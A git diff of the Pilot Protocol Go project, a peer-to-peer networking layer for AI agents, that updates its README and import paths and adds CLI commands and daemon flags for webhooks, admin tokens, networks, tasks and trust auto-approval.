Relayed via registry for NAT traversal | -| `pending` | See incoming trust requests (persisted across restarts) | -| `approve ` | Accept a request | -| `reject [reason]` | Decline a request | -| `trust` | List trusted peers | -| `untrust ` | Revoke trust | - -### Daemon Lifecycle - -| Command | Description | -|---------|-------------| -| `daemon start [flags]` | Start the daemon (background by default) | -| `daemon stop` | Stop the running daemon | -| `daemon status [--check]` | Show status (`--check`: silent exit 0/1 for scripts) | - -### Mailbox - -Received files and messages are stored locally and can be inspected at any time. - -| Command | Description | -|---------|-------------| -| `received [--clear]` | List files received via data exchange. Files saved to `~/.pilot/received/` | -| `inbox [--clear]` | List messages received via data exchange. Messages saved to `~/.pilot/inbox/` | - -### Diagnostics - -| Command | Description | -|---------|-------------| -| `ping [--count n]` | Echo probes for reachability and latency | -| `bench [size_mb]` | Throughput benchmark via echo service | -| `traceroute ` | Connection setup time and RTT samples | -| `peers [--search query]` | Connected peers with encryption status | -| `connections` | Active connections with per-conn stats (CWND, SRTT, flight) | -| `disconnect ` | Close a connection | - -### Gateway - -The gateway bridges standard IP/TCP traffic to Pilot Protocol. Maps pilot addresses to local IPs on a private subnet, starts TCP proxy listeners. Requires root for ports below 1024. - -| Command | Description | -|---------|-------------| -| `gateway start [--subnet cidr] [--ports list] [addrs...]` | Start the IP-to-Pilot bridge | -| `gateway stop` | Stop the gateway | -| `gateway map [local-ip]` | Add a mapping | -| `gateway unmap ` | Remove a mapping | -| `gateway list` | Show active mappings | - -Example: ```bash -sudo pilotctl gateway start 0:0000.0000.0001 -# mapped 10.4.0.1 -> 0:0000.0000.0001 -curl http://10.4.0.1:3000/status -# {"status":"ok","protocol":"pilot","port":3000} -``` - -### Registry Operations - -| Command | Description | -|---------|-------------| -| `register [listen_addr]` | Register a node | -| `lookup ` | Look up a node | -| `deregister` | Deregister this node from the registry | -| `rotate-key ` | Rotate Ed25519 keypair via owner recovery | - -### Agent Integration - -| Command | Description | -|---------|-------------| -| `context` | Machine-readable command catalog with args, flags, return schemas, and error codes | -| `config [--set key=value]` | Show or update configuration | - ---- - -## Well-known ports - -| Port | Service | Built-in | Description | -|------|---------|----------|-------------| -| 0 | Ping | Yes | Internal control | -| 7 | Echo | Yes | Liveness and latency testing | -| 53 | Nameserver | No | DNS-equivalent name resolution (WIP) | -| 80 | HTTP | No | Standard web endpoints (use with gateway) | -| 443 | Secure | No | End-to-end encrypted channel (X25519 + AES-GCM) | -| 444 | Handshake | Yes | Trust negotiation protocol | -| 1000 | Stdio | No | Text streams between agents | -| 1001 | Data Exchange | Yes | Typed frames (text, JSON, binary, file) | -| 1002 | Event Stream | Yes | Pub/sub with topic filtering | - ---- - -## Deployment - -### Daemon flags - -``` --registry Registry address (default: 35.193.106.76:9000) --beacon Beacon address (default: 35.193.106.76:9001) --listen UDP tunnel address (default: :0) --socket IPC socket path (default: /tmp/pilot.sock) --identity Path to persist Ed25519 identity --hostname Hostname for discovery --encrypt Enable tunnel encryption (default: true) --public Make node publicly visible (default: false) --owner Owner email for key rotation recovery --no-echo Disable built-in echo service (port 7) --no-dataexchange Disable built-in data exchange service (port 1001) --no-eventstream Disable built-in event stream service (port 1002) --log-level Log level: debug, info, warn, error (default: info) --log-format Log format: text, json (default: text) --config Path to JSON config file +pip install pilotprotocol ``` -### Rendezvous flags - -``` --registry-addr Registry listen address (default: :9000) --beacon-addr Beacon listen address (default: :9001) --store Path to persist registry state (JSON snapshot) --tls Enable TLS for registry connections --tls-cert TLS certificate file --tls-key TLS key file --standby Run as hot standby replicating from a primary address -``` - -### Environment variables - -| Variable | Default | Description | -|----------|---------|-------------| -| `PILOT_SOCKET` | `/tmp/pilot.sock` | Daemon IPC socket path | -| `PILOT_REGISTRY` | `35.193.106.76:9000` | Registry server address | - -### Persistence with systemd - -```ini -[Unit] -Description=Pilot Protocol Daemon -After=network.target - -[Service] -Type=simple -User=pilot -ExecStart=/usr/local/bin/pilot-daemon \ - -registry 35.193.106.76:9000 \ - -beacon 35.193.106.76:9001 \ - -listen :4000 \ - -socket /tmp/pilot.sock \ - -identity /var/lib/pilot/identity.json \ - -encrypt -public \ - -hostname my-agent -Restart=on-failure - -[Install] -WantedBy=multi-user.target -``` +See the [Python SDK documentation](https://pilotprotocol.network/docs/python-sdk) for the full API reference. --- @@ -570,23 +300,7 @@ WantedBy=multi-user.target go test -parallel 4 -count=1 ./tests/ ``` -223 tests pass, 24 skipped (IPv6, platform-specific). The `-parallel 4` flag is required -- unlimited parallelism exhausts ports and causes dial timeouts. - ---- - -## Error codes - -Every error includes a `hint` field telling you what to do next. - -| Code | Meaning | Retry? | -|------|---------|--------| -| `invalid_argument` | Bad input or usage error | No | -| `not_found` | Resource not found (hostname/node) | No | -| `already_exists` | Duplicate operation (daemon/gateway already running) | No | -| `not_running` | Service not available (daemon/gateway not running) | No | -| `connection_failed` | Network or dial failure | Yes | -| `timeout` | Operation timed out | Yes (with longer timeout) | -| `internal` | Unexpected system error | Maybe | +1047 tests pass. The `-parallel 4` flag is required -- unlimited parallelism exhausts ports and causes dial timeouts. --- @@ -594,13 +308,26 @@ Every error includes a `hint` field telling you what to do next. | Document | Description | |----------|-------------| +| **[Docs Site](https://pilotprotocol.network/docs/)** | Guides, CLI reference, deployment, configuration, and integration patterns | | **[Wire Specification](docs/SPEC.md)** | Packet format, addressing, flags, checksums | | **[Whitepaper (PDF)](docs/WHITEPAPER.pdf)** | Full protocol design, transport, security, validation | +| **[IETF Problem Statement](https://www.ietf.org/archive/id/draft-teodor-pilot-problem-statement-01.html)** | Internet-Draft: why agents need network-layer infrastructure | +| **[IETF Protocol Specification](https://www.ietf.org/archive/id/draft-teodor-pilot-protocol-01.html)** | Internet-Draft: full protocol spec in IETF format | | **[Agent Skills](docs/SKILLS.md)** | Machine-readable skill definition for AI agent integration | +| **[Polo Dashboard](https://polo.pilotprotocol.network)** | Live network stats, node directory, and tag search | | **[Contributing](CONTRIBUTING.md)** | Guidelines for contributing to the project | --- +## Contact + +Have questions, want a private network, or interested in enterprise support? + +- **Email:** [founders@pilotprotocol.network](mailto:founders@pilotprotocol.network) +- **Slack:** [Join our community](https://join.slack.com/t/pilotprotocol/shared_invite/zt-3uakfp62r-72XLHnu0snAoU2Kv70BtgA) + +--- + ## License Pilot Protocol is licensed under the [GNU Affero General Public License v3.0](LICENSE). diff --git a/cmd/beacon/main.go b/cmd/beacon/main.go index 6fa854dc..9d01d26f 100644 --- a/cmd/beacon/main.go +++ b/cmd/beacon/main.go @@ -3,15 +3,24 @@ package main import ( "flag" "log" + "log/slog" + "os" + "os/signal" + "strings" + "syscall" - "web4/pkg/beacon" - "web4/pkg/config" - "web4/pkg/logging" + "github.com/TeoSlayer/pilotprotocol/pkg/beacon" + "github.com/TeoSlayer/pilotprotocol/pkg/config" + "github.com/TeoSlayer/pilotprotocol/pkg/logging" ) func main() { configPath := flag.String("config", "", "path to config file (JSON)") addr := flag.String("addr", ":9001", "listen address (UDP)") + beaconID := flag.Uint("beacon-id", 0, "unique beacon ID (0 = standalone)") + peersFlag := flag.String("peers", "", "comma-separated peer beacon addresses for gossip") + healthAddr := flag.String("health", "", "health check HTTP address (e.g. :8080)") + registryAddr := flag.String("registry", "", "registry address for dynamic peer discovery (e.g. 10.128.0.12:9000)") logLevel := flag.String("log-level", "info", "log level (debug, info, warn, error)") logFormat := flag.String("log-format", "text", "log format (text, json)") flag.Parse() @@ -26,6 +35,41 @@ func main() { logging.Setup(*logLevel, *logFormat) - s := beacon.New() - log.Fatal(s.ListenAndServe(*addr)) + var peers []string + if *peersFlag != "" { + for _, p := range strings.Split(*peersFlag, ",") { + p = strings.TrimSpace(p) + if p != "" { + peers = append(peers, p) + } + } + } + + s := beacon.NewWithPeers(uint32(*beaconID), peers) + + if *registryAddr != "" { + s.SetRegistry(*registryAddr) + } + + if *healthAddr != "" { + go func() { + if err := s.ServeHealth(*healthAddr); err != nil { + slog.Error("health endpoint failed", "err", err) + } + }() + } + + go func() { + if err := s.ListenAndServe(*addr); err != nil { + log.Fatalf("beacon: %v", err) + } + }() + + slog.Info("beacon running", "addr", *addr, "beacon_id", *beaconID, "peers", len(peers), "registry", *registryAddr) + + sig := make(chan os.Signal, 1) + signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM) + <-sig + slog.Info("shutting down") + s.Close() } diff --git a/cmd/daemon/main.go b/cmd/daemon/main.go index b0615bea..593184fc 100644 --- a/cmd/daemon/main.go +++ b/cmd/daemon/main.go @@ -2,21 +2,26 @@ package main import ( "flag" + "fmt" "log" "log/slog" "os" "os/signal" + "strconv" + "strings" "syscall" - "web4/pkg/config" - "web4/pkg/daemon" - "web4/pkg/logging" + "github.com/TeoSlayer/pilotprotocol/pkg/config" + "github.com/TeoSlayer/pilotprotocol/pkg/daemon" + "github.com/TeoSlayer/pilotprotocol/pkg/logging" ) +var version = "dev" + func main() { configPath := flag.String("config", "", "path to config file (JSON)") - registryAddr := flag.String("registry", "35.193.106.76:9000", "registry server address") - beaconAddr := flag.String("beacon", "35.193.106.76:9001", "beacon server address") + registryAddr := flag.String("registry", "34.71.57.205:9000", "registry server address") + beaconAddr := flag.String("beacon", "34.71.57.205:9001", "beacon server address") listenAddr := flag.String("listen", ":0", "UDP listen address for tunnel traffic") socketPath := flag.String("socket", "/tmp/pilot.sock", "Unix socket path for IPC") endpoint := flag.String("endpoint", "", "fixed public endpoint (host:port) — skips STUN (for cloud VMs with known IPs)") @@ -24,7 +29,8 @@ func main() { registryTLS := flag.Bool("registry-tls", false, "use TLS for registry connection") registryFingerprint := flag.String("registry-fingerprint", "", "hex SHA-256 fingerprint of registry TLS certificate") identityPath := flag.String("identity", "", "path to persist Ed25519 identity (enables stable identity across restarts)") - owner := flag.String("owner", "", "owner identifier (email) for key rotation recovery") + email := flag.String("email", "", "email address for account identification and key recovery") + owner := flag.String("owner", "", "(deprecated: use -email) owner identifier for key rotation recovery") keepalive := flag.Duration("keepalive", 0, "keepalive probe interval (default 30s)") idleTimeout := flag.Duration("idle-timeout", 0, "idle connection timeout (default 120s)") synRate := flag.Int("syn-rate-limit", 0, "max SYN packets per second (default 100)") @@ -36,10 +42,21 @@ func main() { noEcho := flag.Bool("no-echo", false, "disable built-in echo service (port 7)") noDataExchange := flag.Bool("no-dataexchange", false, "disable built-in data exchange service (port 1001)") noEventStream := flag.Bool("no-eventstream", false, "disable built-in event stream service (port 1002)") + noTaskSubmit := flag.Bool("no-tasksubmit", false, "disable built-in task submit service (port 1003)") + webhookURL := flag.String("webhook", "", "HTTP(S) endpoint for event notifications (empty = disabled)") + adminToken := flag.String("admin-token", "", "admin token for network operations") + networks := flag.String("networks", "", "comma-separated network IDs to auto-join at startup") + trustAutoApprove := flag.Bool("trust-auto-approve", false, "automatically approve all incoming trust handshakes") + showVersion := flag.Bool("version", false, "print version and exit") logLevel := flag.String("log-level", "info", "log level (debug, info, warn, error)") logFormat := flag.String("log-format", "text", "log format (text, json)") flag.Parse() + if *showVersion { + fmt.Println(version) + os.Exit(0) + } + if *configPath != "" { cfg, err := config.Load(*configPath) if err != nil { @@ -60,6 +77,7 @@ func main() { RegistryTLS: *registryTLS, RegistryFingerprint: *registryFingerprint, IdentityPath: *identityPath, + Email: *email, Owner: *owner, KeepaliveInterval: *keepalive, IdleTimeout: *idleTimeout, @@ -72,6 +90,12 @@ func main() { DisableEcho: *noEcho, DisableDataExchange: *noDataExchange, DisableEventStream: *noEventStream, + DisableTaskSubmit: *noTaskSubmit, + WebhookURL: *webhookURL, + AdminToken: *adminToken, + Networks: parseNetworkIDs(*networks), + Version: version, + TrustAutoApprove: *trustAutoApprove, }) if err := d.Start(); err != nil { @@ -86,3 +110,25 @@ func main() { slog.Info("shutting down") d.Stop() } + +// parseNetworkIDs parses a comma-separated string of network IDs into a uint16 slice. +func parseNetworkIDs(s string) []uint16 { + if s == "" { + return nil + } + parts := strings.Split(s, ",") + var ids []uint16 + for _, p := range parts { + p = strings.TrimSpace(p) + if p == "" { + continue + } + n, err := strconv.ParseUint(p, 10, 16) + if err != nil { + log.Printf("warning: invalid network ID %q: %v", p, err) + continue + } + ids = append(ids, uint16(n)) + } + return ids +} diff --git a/cmd/gateway/main.go b/cmd/gateway/main.go index 9433eadd..857b8a0b 100644 --- a/cmd/gateway/main.go +++ b/cmd/gateway/main.go @@ -12,21 +12,29 @@ import ( "strings" "syscall" - "web4/pkg/config" - "web4/pkg/gateway" - "web4/pkg/logging" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/config" + "github.com/TeoSlayer/pilotprotocol/pkg/gateway" + "github.com/TeoSlayer/pilotprotocol/pkg/logging" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) +var version = "dev" + func main() { configPath := flag.String("config", "", "path to config file (JSON)") socketPath := flag.String("socket", "/tmp/pilot.sock", "daemon socket path") subnet := flag.String("subnet", "10.4.0.0/16", "local IP subnet for mappings") portsStr := flag.String("ports", "", "comma-separated ports to proxy (default: 80,443,1000,1001,1002,7,8080,8443)") + showVersion := flag.Bool("version", false, "print version and exit") logLevel := flag.String("log-level", "info", "log level (debug, info, warn, error)") logFormat := flag.String("log-format", "text", "log format (text, json)") flag.Parse() + if *showVersion { + fmt.Println(version) + os.Exit(0) + } + if *configPath != "" { cfg, err := config.Load(*configPath) if err != nil { diff --git a/cmd/nameserver/main.go b/cmd/nameserver/main.go index 679ab3cd..bce0ec9d 100644 --- a/cmd/nameserver/main.go +++ b/cmd/nameserver/main.go @@ -4,10 +4,10 @@ import ( "flag" "log" - "web4/pkg/config" - "web4/pkg/driver" - "web4/pkg/logging" - "web4/pkg/nameserver" + "github.com/TeoSlayer/pilotprotocol/pkg/config" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/logging" + "github.com/TeoSlayer/pilotprotocol/pkg/nameserver" ) func main() { diff --git a/cmd/pilotctl/main.go b/cmd/pilotctl/main.go index 17b5530e..69da30bb 100644 --- a/cmd/pilotctl/main.go +++ b/cmd/pilotctl/main.go @@ -17,17 +17,21 @@ import ( "syscall" "time" - "web4/pkg/config" - "web4/pkg/daemon" - "web4/pkg/dataexchange" - "web4/pkg/driver" - "web4/pkg/eventstream" - "web4/pkg/gateway" - "web4/pkg/logging" - "web4/pkg/protocol" - "web4/pkg/registry" + "github.com/TeoSlayer/pilotprotocol/pkg/config" + "github.com/TeoSlayer/pilotprotocol/pkg/daemon" + "github.com/TeoSlayer/pilotprotocol/pkg/dataexchange" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/eventstream" + "github.com/TeoSlayer/pilotprotocol/pkg/gateway" + "github.com/TeoSlayer/pilotprotocol/pkg/logging" + "github.com/TeoSlayer/pilotprotocol/pkg/policy" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/registry" + "github.com/TeoSlayer/pilotprotocol/pkg/tasksubmit" ) +var version = "dev" + // Global flags var jsonOutput bool @@ -162,7 +166,7 @@ func getRegistry() string { if s, ok := cfg["registry"].(string); ok && s != "" { return s } - return "35.193.106.76:9000" + return "34.71.57.205:9000" } func loadConfig() map[string]interface{} { @@ -178,6 +182,27 @@ func loadConfig() map[string]interface{} { return cfg } +func getAdminToken() string { + if v := os.Getenv("PILOT_ADMIN_TOKEN"); v != "" { + return v + } + cfg := loadConfig() + if s, ok := cfg["admin_token"].(string); ok && s != "" { + return s + } + return "" +} + +func requireAdminToken() string { + token := getAdminToken() + if token == "" { + fatalHint("auth_required", + "set PILOT_ADMIN_TOKEN env var or admin_token in ~/.pilot/config.json", + "admin token required for this operation") + } + return token +} + func saveConfig(cfg map[string]interface{}) error { dir := configDir() if err := os.MkdirAll(dir, 0700); err != nil { @@ -304,10 +329,16 @@ func resolveHostnameToAddr(d *driver.Driver, hostname string) (protocol.Addr, ui } func parseAddrOrHostname(d *driver.Driver, arg string) (protocol.Addr, error) { + // Try full address (e.g. "0:0000.0000.000B") addr, err := protocol.ParseAddr(arg) if err == nil { return addr, nil } + // Try bare node ID (e.g. "11" → backbone address 0:0000.0000.000B) + if id, numErr := strconv.ParseUint(arg, 10, 32); numErr == nil { + return protocol.Addr{Network: 0, Node: uint32(id)}, nil + } + // Try hostname resolution resolved, _, resolveErr := resolveHostnameToAddr(d, arg) if resolveErr != nil { return protocol.Addr{}, fmt.Errorf("cannot resolve %q — is the hostname correct and is there mutual trust? (see: pilotctl handshake)", arg) @@ -331,14 +362,14 @@ Bootstrap: pilotctl config [--set key=value] Daemon lifecycle: - pilotctl daemon start [--config ] [--registry ] [--beacon ] + pilotctl daemon start [--config ] [--registry ] [--beacon ] [--email ] [--webhook ] [--trust-auto-approve] pilotctl daemon stop pilotctl daemon status Registry commands: pilotctl register [listen_addr] pilotctl lookup - pilotctl rotate-key + pilotctl rotate-key pilotctl set-public pilotctl set-private pilotctl deregister @@ -347,6 +378,10 @@ Discovery commands: pilotctl find pilotctl set-hostname pilotctl clear-hostname + pilotctl set-tags [tag2] ... + pilotctl clear-tags + pilotctl enable-tasks + pilotctl disable-tasks Communication commands: pilotctl connect [port] [--message ] [--timeout ] @@ -357,6 +392,15 @@ Communication commands: pilotctl subscribe [--count ] [--timeout ] pilotctl publish --data +Task commands: + pilotctl task submit --task + pilotctl task accept --id + pilotctl task decline --id --justification + pilotctl task execute + pilotctl task send-results --id --results | --file + pilotctl task list [--type received|submitted] + pilotctl task queue + Trust commands: pilotctl handshake [justification] pilotctl approve @@ -373,8 +417,12 @@ Mailbox: pilotctl received [--clear] pilotctl inbox [--clear] +Service Agents: + pilotctl send-message list-agents --data "list all agents" + Diagnostic commands: pilotctl info + pilotctl health pilotctl peers [--search ] pilotctl ping [--count ] [--timeout ] pilotctl traceroute
[--timeout ] @@ -393,9 +441,12 @@ Gateway (requires root for ports <1024): pilotctl gateway list Environment: - PILOT_REGISTRY Registry address (default: 35.193.106.76:9000) + PILOT_REGISTRY Registry address (default: 34.71.57.205:9000) PILOT_SOCKET Daemon socket path (default: /tmp/pilot.sock) +Version: + pilotctl version + Config file: ~/.pilot/config.json `) os.Exit(2) @@ -422,6 +473,10 @@ func main() { cmdArgs := args[1:] switch cmd { + case "version": + fmt.Println(version) + return + // Bootstrap case "init": cmdInit(cmdArgs) @@ -495,6 +550,18 @@ func main() { cmdSetHostname(cmdArgs) case "clear-hostname": cmdClearHostname() + case "set-tags": + cmdSetTags(cmdArgs) + case "clear-tags": + cmdClearTags() + case "enable-tasks": + cmdEnableTasks() + case "disable-tasks": + cmdDisableTasks() + case "set-webhook": + cmdSetWebhook(cmdArgs) + case "clear-webhook": + cmdClearWebhook() // Communication case "connect": @@ -507,6 +574,32 @@ func main() { cmdSendFile(cmdArgs) case "send-message": cmdSendMessage(cmdArgs) + case "task": + if len(cmdArgs) < 1 { + fatalHint("invalid_argument", + "available: pilotctl task submit | accept | decline | execute | send-results | list | queue", + "missing subcommand") + } + switch cmdArgs[0] { + case "submit": + cmdTaskSubmit(cmdArgs[1:]) + case "accept": + cmdTaskAccept(cmdArgs[1:]) + case "decline": + cmdTaskDecline(cmdArgs[1:]) + case "execute": + cmdTaskExecute(cmdArgs[1:]) + case "send-results": + cmdTaskSendResults(cmdArgs[1:]) + case "list": + cmdTaskList(cmdArgs[1:]) + case "queue": + cmdTaskQueue(cmdArgs[1:]) + default: + fatalHint("invalid_argument", + "available: submit, accept, decline, execute, send-results, list, queue", + "unknown task subcommand: %s", cmdArgs[0]) + } case "subscribe": cmdSubscribe(cmdArgs) case "publish": @@ -526,6 +619,131 @@ func main() { case "trust": cmdTrust() + // Networks + case "network": + if len(cmdArgs) < 1 { + fatalHint("invalid_argument", + "available: list, join, leave, members, invite, invites, accept, reject, create, delete, rename, promote, demote, kick, role, policy", + "usage: pilotctl network ") + } + switch cmdArgs[0] { + case "list": + cmdNetworkList() + case "join": + cmdNetworkJoin(cmdArgs[1:]) + case "leave": + cmdNetworkLeave(cmdArgs[1:]) + case "members": + cmdNetworkMembers(cmdArgs[1:]) + case "invite": + cmdNetworkInvite(cmdArgs[1:]) + case "invites": + cmdNetworkInvites() + case "accept": + cmdNetworkAccept(cmdArgs[1:]) + case "reject": + cmdNetworkReject(cmdArgs[1:]) + // Enterprise operations (direct to registry, require admin token) + case "create": + cmdNetworkCreate(cmdArgs[1:]) + case "delete": + cmdNetworkDelete(cmdArgs[1:]) + case "rename": + cmdNetworkRename(cmdArgs[1:]) + case "promote": + cmdNetworkPromote(cmdArgs[1:]) + case "demote": + cmdNetworkDemote(cmdArgs[1:]) + case "kick": + cmdNetworkKick(cmdArgs[1:]) + case "role": + cmdNetworkRole(cmdArgs[1:]) + case "policy": + cmdNetworkPolicy(cmdArgs[1:]) + default: + fatalHint("invalid_argument", + "available: list, join, leave, members, invite, invites, accept, reject, create, delete, rename, promote, demote, kick, role, policy", + "unknown network subcommand: %s", cmdArgs[0]) + } + + // Managed networks + case "managed": + if len(cmdArgs) < 1 { + fatalHint("invalid_argument", + "available: score, status, rankings, cycle", + "usage: pilotctl managed ") + } + switch cmdArgs[0] { + case "score": + cmdManagedScore(cmdArgs[1:]) + case "status": + cmdManagedStatus(cmdArgs[1:]) + case "rankings": + cmdManagedRankings(cmdArgs[1:]) + case "cycle": + cmdManagedCycle(cmdArgs[1:]) + default: + fatalHint("invalid_argument", + "available: score, status, rankings, cycle", + "unknown managed subcommand: %s", cmdArgs[0]) + } + + case "member-tags": + if len(cmdArgs) < 1 { + fatalHint("invalid_argument", + "available: set, get", + "usage: pilotctl member-tags ") + } + switch cmdArgs[0] { + case "set": + cmdMemberTagsSet(cmdArgs[1:]) + case "get": + cmdMemberTagsGet(cmdArgs[1:]) + default: + fatalHint("invalid_argument", + "available: set, get", + "unknown member-tags subcommand: %s", cmdArgs[0]) + } + + case "policy": + if len(cmdArgs) < 1 { + fatalHint("invalid_argument", + "available: get, set, validate, test", + "usage: pilotctl policy ") + } + switch cmdArgs[0] { + case "get": + cmdPolicyGet(cmdArgs[1:]) + case "set": + cmdPolicySet(cmdArgs[1:]) + case "validate": + cmdPolicyValidate(cmdArgs[1:]) + case "test": + cmdPolicyTest(cmdArgs[1:]) + default: + fatalHint("invalid_argument", + "available: get, set, validate, test", + "unknown policy subcommand: %s", cmdArgs[0]) + } + + // Enterprise admin commands (direct to registry) + case "audit": + cmdAudit(cmdArgs) + case "provision": + cmdProvision(cmdArgs) + case "deprovision": + cmdDeprovision(cmdArgs) + case "idp": + cmdIDP(cmdArgs) + case "audit-export": + cmdAuditExport(cmdArgs) + case "provision-status": + cmdProvisionStatus() + case "directory-sync": + cmdDirectorySync(cmdArgs) + case "directory-status": + cmdDirectoryStatus(cmdArgs) + // Management case "connections": cmdConnections() @@ -535,6 +753,8 @@ func main() { // Diagnostics case "info": cmdInfo() + case "health": + cmdHealth() case "peers": cmdPeers(cmdArgs) case "ping": @@ -574,7 +794,7 @@ func main() { func cmdInit(args []string) { flags, _ := parseFlags(args) - registryAddr := flagString(flags, "registry", "35.193.106.76:9000") + registryAddr := flagString(flags, "registry", "34.71.57.205:9000") beaconAddr := flagString(flags, "beacon", "127.0.0.1:9001") hostname := flagString(flags, "hostname", "") socketPath := flagString(flags, "socket", defaultSocket) @@ -652,7 +872,7 @@ func cmdContext() { "returns": "current configuration as JSON", }, "daemon start": map[string]interface{}{ - "args": []string{"[--config ]", "[--registry ]", "[--beacon ]", "[--listen ]", "[--identity ]", "[--owner ]", "[--hostname ]", "[--log-level ]", "[--log-format ]", "[--public]", "[--foreground]", "[--no-encrypt]", "[--socket ]"}, + "args": []string{"[--config ]", "[--registry ]", "[--beacon ]", "[--listen ]", "[--identity ]", "[--email ]", "[--hostname ]", "[--log-level ]", "[--log-format ]", "[--public]", "[--foreground]", "[--no-encrypt]", "[--socket ]", "[--webhook ]"}, "description": "Start the daemon as a background process. Blocks until registered, then prints status and exits", "returns": "node_id, address, pid, socket, hostname, log_file", }, @@ -691,6 +911,36 @@ func cmdContext() { "description": "Clear hostname for this daemon's node", "returns": "hostname, node_id", }, + "set-tags": map[string]interface{}{ + "args": []string{"", "[tag2]", "..."}, + "description": "Set capability tags for this daemon's node (replaces existing tags)", + "returns": "node_id, tags", + }, + "clear-tags": map[string]interface{}{ + "args": []string{}, + "description": "Clear all tags for this daemon's node", + "returns": "node_id, tags", + }, + "enable-tasks": map[string]interface{}{ + "args": []string{}, + "description": "Advertise that this node can execute tasks", + "returns": "node_id, task_exec", + }, + "disable-tasks": map[string]interface{}{ + "args": []string{}, + "description": "Stop advertising task execution capability", + "returns": "node_id, task_exec", + }, + "set-webhook": map[string]interface{}{ + "args": []string{""}, + "description": "Set the webhook URL for event notifications (applies immediately if daemon is running)", + "returns": "webhook, applied", + }, + "clear-webhook": map[string]interface{}{ + "args": []string{}, + "description": "Clear the webhook URL (applies immediately if daemon is running)", + "returns": "webhook, applied", + }, "info": map[string]interface{}{ "args": []string{}, "description": "Show daemon status: node_id, address, hostname, uptime, peers, connections, encryption, identity", @@ -802,8 +1052,8 @@ func cmdContext() { "returns": "network_id, message", }, "rotate-key": map[string]interface{}{ - "args": []string{"", ""}, - "description": "Rotate keypair via owner recovery", + "args": []string{"", ""}, + "description": "Rotate keypair via email recovery", "returns": "node_id, new public_key", }, "set-public": map[string]interface{}{ @@ -870,7 +1120,7 @@ func cmdContext() { "--json": "Output structured JSON for all commands. Success: {status:ok, data:{...}}. Error: {status:error, code:string, message:string}", }, "environment": map[string]interface{}{ - "PILOT_REGISTRY": "Registry address (default: 35.193.106.76:9000)", + "PILOT_REGISTRY": "Registry address (default: 34.71.57.205:9000)", "PILOT_SOCKET": "Daemon socket path (default: /tmp/pilot.sock)", }, "config_file": "~/.pilot/config.json", @@ -895,7 +1145,10 @@ func cmdDaemonStart(args []string) { } // Clean up stale socket - socketPath := getSocket() + socketPath := flagString(flags, "socket", "") + if socketPath == "" { + socketPath = getSocket() + } if _, err := os.Stat(socketPath); err == nil { // Try to connect — if it works, daemon is running d, err := driver.Connect(socketPath) @@ -937,18 +1190,47 @@ func cmdDaemonStart(args []string) { encrypt := !flagBool(flags, "no-encrypt") identityPath := flagString(flags, "identity", "") if identityPath == "" { - identityPath = configDir() + "/identity.key" + identityPath = configDir() + "/identity.json" } + email := flagString(flags, "email", "") owner := flagString(flags, "owner", "") + if email == "" && owner != "" { + email = owner // backward compat: -owner as fallback for -email + } + if email == "" { + if e, ok := cfg["email"].(string); ok { + email = e + } + } configFile := flagString(flags, "config", "") logLevel := flagString(flags, "log-level", "info") logFormat := flagString(flags, "log-format", "text") public := flagBool(flags, "public") + webhookURL := flagString(flags, "webhook", "") + if webhookURL == "" { + if w, ok := cfg["webhook"].(string); ok { + webhookURL = w + } + } + adminToken := flagString(flags, "admin-token", "") + if adminToken == "" { + if a, ok := cfg["admin_token"].(string); ok { + adminToken = a + } + } + networks := flagString(flags, "networks", "") + if networks == "" { + if n, ok := cfg["networks"].(string); ok { + networks = n + } + } + trustAutoApprove := flagBool(flags, "trust-auto-approve") // If --foreground, run in-process if flagBool(flags, "foreground") { runDaemonForeground(configFile, registryAddr, beaconAddr, listenAddr, - socketPath, encrypt, identityPath, owner, hostname, logLevel, logFormat, public) + socketPath, encrypt, identityPath, email, hostname, logLevel, logFormat, public, webhookURL, + adminToken, networks, trustAutoApprove) return } @@ -977,8 +1259,8 @@ func cmdDaemonStart(args []string) { if !encrypt { daemonArgs = append(daemonArgs, "--no-encrypt") } - if owner != "" { - daemonArgs = append(daemonArgs, "--owner", owner) + if email != "" { + daemonArgs = append(daemonArgs, "--email", email) } if hostname != "" { daemonArgs = append(daemonArgs, "--hostname", hostname) @@ -989,6 +1271,18 @@ func cmdDaemonStart(args []string) { if public { daemonArgs = append(daemonArgs, "--public") } + if webhookURL != "" { + daemonArgs = append(daemonArgs, "--webhook", webhookURL) + } + if adminToken != "" { + daemonArgs = append(daemonArgs, "--admin-token", adminToken) + } + if networks != "" { + daemonArgs = append(daemonArgs, "--networks", networks) + } + if trustAutoApprove { + daemonArgs = append(daemonArgs, "--trust-auto-approve") + } proc := exec.Command(selfPath, daemonArgs...) proc.Stdout = logFile @@ -1210,26 +1504,39 @@ func cmdDaemonStatus(args []string) { func runDaemonInternal(args []string) { flags, _ := parseFlags(args) - registryAddr := flagString(flags, "registry", "35.193.106.76:9000") + registryAddr := flagString(flags, "registry", "34.71.57.205:9000") beaconAddr := flagString(flags, "beacon", "127.0.0.1:9001") listenAddr := flagString(flags, "listen", ":0") socketPath := flagString(flags, "socket", defaultSocket) identityPath := flagString(flags, "identity", "") + if identityPath == "" { + identityPath = configDir() + "/identity.json" + } + email := flagString(flags, "email", "") owner := flagString(flags, "owner", "") + if email == "" && owner != "" { + email = owner + } hostname := flagString(flags, "hostname", "") logLevel := flagString(flags, "log-level", "info") logFormat := flagString(flags, "log-format", "text") configFile := flagString(flags, "config", "") encrypt := !flagBool(flags, "no-encrypt") public := flagBool(flags, "public") + webhookURL := flagString(flags, "webhook", "") + adminToken := flagString(flags, "admin-token", "") + networks := flagString(flags, "networks", "") + trustAutoApprove := flagBool(flags, "trust-auto-approve") runDaemonForeground(configFile, registryAddr, beaconAddr, listenAddr, - socketPath, encrypt, identityPath, owner, hostname, logLevel, logFormat, public) + socketPath, encrypt, identityPath, email, hostname, logLevel, logFormat, public, webhookURL, + adminToken, networks, trustAutoApprove) } func runDaemonForeground(configFile, registryAddr, beaconAddr, listenAddr, - socketPath string, encrypt bool, identityPath, owner, hostname, - logLevel, logFormat string, public bool) { + socketPath string, encrypt bool, identityPath, email, hostname, + logLevel, logFormat string, public bool, webhookURL string, + adminToken, networks string, trustAutoApprove bool) { if configFile != "" { cfg, err := config.Load(configFile) @@ 